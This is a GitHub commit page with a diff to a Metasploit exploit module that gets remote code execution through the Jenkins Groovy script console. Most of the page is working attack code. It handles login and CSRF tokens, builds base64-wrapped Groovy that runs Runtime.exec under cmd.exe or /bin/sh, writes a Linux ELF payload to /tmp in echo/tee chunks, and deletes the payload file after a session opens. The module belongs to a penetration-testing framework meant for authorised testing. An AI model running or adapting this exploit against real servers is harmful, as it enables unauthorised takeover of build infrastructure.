Skip to content

Commit

Permalink
Land #16750, update jenkins_script_console
Browse files Browse the repository at this point in the history
  • Loading branch information
space-r7 committed Aug 31, 2022
2 parents 36990d5 + 324fb69 commit fb28f81
Showing 1 changed file with 114 additions and 106 deletions.
220 changes: 114 additions & 106 deletions modules/exploits/multi/http/jenkins_script_console.rb
Expand Up @@ -10,57 +10,57 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins-CI Script-Console Java Execution',
'Description' => %q{
super(
update_info(
info,
'Name' => 'Jenkins-CI Script-Console Java Execution',
'Description' => %q{
This module uses the Jenkins-CI Groovy script console to execute
OS commands using Java.
},
'Author' =>
[
OS commands using Java.
},
'Author' => [
'Spencer McIntyre',
'jamcut',
'thesubtlety'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'WfsDelay' => '10',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'WfsDelay' => '10'
},
'References' =>
[
'References' => [
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
],
'Platform' => %w{ win linux unix },
'Targets' =>
[
['Windows',
'Platform' => %w[win linux unix],
'Targets' => [
[
'Windows',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
],
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }]
],
'DisclosureDate' => '2013-01-18',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'DisclosureDate' => '2013-01-18',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
},
))
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
])
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
]
)

self.needs_cleanup = true
end
Expand All @@ -72,75 +72,83 @@ def post_auth?
def check
uri = target_uri
uri.path = normalize_uri(uri.path)
uri.path << "/" if uri.path[-1, 1] != "/"
res = send_request_cgi({'uri' => "#{uri.path}login"})
if res and res.headers.include?('X-Jenkins')
uri.path << '/' if uri.path[-1, 1] != '/'
res = send_request_cgi({ 'uri' => "#{uri.path}login" })
if res && res.headers.include?('X-Jenkins')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def on_new_session(client)
if not @to_delete.nil?
def on_new_session(_client)
if !@to_delete.nil?
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end

def http_send_command(cmd, opts = {})
def http_send_command(cmd, _opts = {})
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'script'),
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'script'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
'vars_post' =>
{
'script' => java_craft_runtime_exec(cmd),
'Submit' => 'Run'
}
}
request_parameters['cookie'] = @cookie if @cookie != nil
request_parameters['cookie'] = @cookie if !@cookie.nil?
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
res = send_request_cgi(request_parameters)
if not (res and res.code == 200)
if !(res && (res.code == 200))
fail_with(Failure::Unknown, 'Failed to execute the command.')
end
end

def java_craft_runtime_exec(cmd)
decoder = Rex::Text.rand_text_alpha(5, 8)
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
cmd_array = Rex::Text.rand_text_alpha(5, 8)
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

jcode << "String [] #{cmd_array} = new String[3];\n"
vars = Rex::RandomIdentifier::Generator.new(
Rex::RandomIdentifier::Generator::JavaOpts
)
jcode = <<~JCODE
String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}";
byte[] #{vars[:decoded]};
try {
#{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]} );
} catch(groovy.lang.MissingPropertyException e) {
sun.misc.BASE64Decoder #{vars[:decoder]} = new sun.misc.BASE64Decoder();
#{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]} );
}
JCODE

jcode << "String[] #{vars[:cmd_array]} = new String[3];\n"
if target['Platform'] == 'win'
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
jcode << "#{cmd_array}[1] = \"/c\";\n"
jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n"
jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n"
else
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
jcode << "#{cmd_array}[1] = \"-c\";\n"
jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n"
jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n"
end
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n"
jcode
end

def execute_command(cmd, opts = {})
def execute_command(cmd, _opts = {})
vprint_status("Attempting to execute: #{cmd}")
http_send_command("#{cmd}")
http_send_command(cmd.to_s)
end

def linux_stager
cmds = "echo LINE | tee FILE"
cmds = 'echo LINE | tee FILE'
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
base64.gsub!(/=/, '\\u003d')
file = rand_text_alphanumeric(rand(4..7))

execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
cmds.gsub!(/FILE/, '/tmp/' + file + '.b64')
base64.each_line do |line|
line.chomp!
cmd = cmds
Expand All @@ -159,69 +167,69 @@ def linux_stager
def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
@uri.path << "/" if @uri.path[-1, 1] != "/"
@uri.path << '/' if @uri.path[-1, 1] != '/'
print_status('Checking access to the script console')
res = send_request_cgi({'uri' => "#{@uri.path}script"})
fail_with(Failure::Unknown, 'No Response received') if not res
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
fail_with(Failure::Unknown, 'No Response received') if !res

@cookie = nil
@crumb = nil
if res.code != 200
if !datastore['API_TOKEN'].empty?
print_status('Authenticating with token...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@uri.path, "crumbIssuer/api/json"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
})
if (res and res.code == 401)
fail_with(Failure::NoAccess, 'Login failed')
end
else
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
'vars_post' =>
{
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Submit' => 'log in'
}
})

if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
fail_with(Failure::NoAccess, 'Login failed')
end
if res.get_cookies.split('JSESSIONID').count > 2
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
else
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
end
@cookie = "#{sessionid}"

res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
end
if datastore['API_TOKEN'].present?
print_status('Authenticating with token...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
})
if (res && (res.code == 401))
fail_with(Failure::NoAccess, 'Login failed')
end
else
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'j_acegi_security_check'),
'vars_post' =>
{
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Submit' => 'log in'
}
})

if !(res && (res.code == 302)) || res.headers['Location'] =~ (/loginError/)
fail_with(Failure::NoAccess, 'Login failed')
end
if res.get_cookies.split('JSESSIONID').count > 2
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
else
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
end
@cookie = sessionid.to_s

res = send_request_cgi({ 'uri' => "#{@uri.path}script", 'cookie' => @cookie })
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res && (res.code == 200)
end
else
print_status('No authentication required, skipping login...')
end

if res.body =~ /"\.crumb", "([a-z0-9]*)"/
print_status("Using CSRF token: '#{$1}' (.crumb style)")
@crumb = {:name => '.crumb', :value => $1}
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)")
@crumb = { name: '.crumb', value: Regexp.last_match(1) }
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style)")
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
end

case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager({:linemax => 2049})
execute_cmdstager({ linemax: 2049 })
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
http_send_command("#{payload.encoded}")
http_send_command(payload.encoded.to_s)
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
Expand Down

0 comments on commit fb28f81

Please sign in to comment.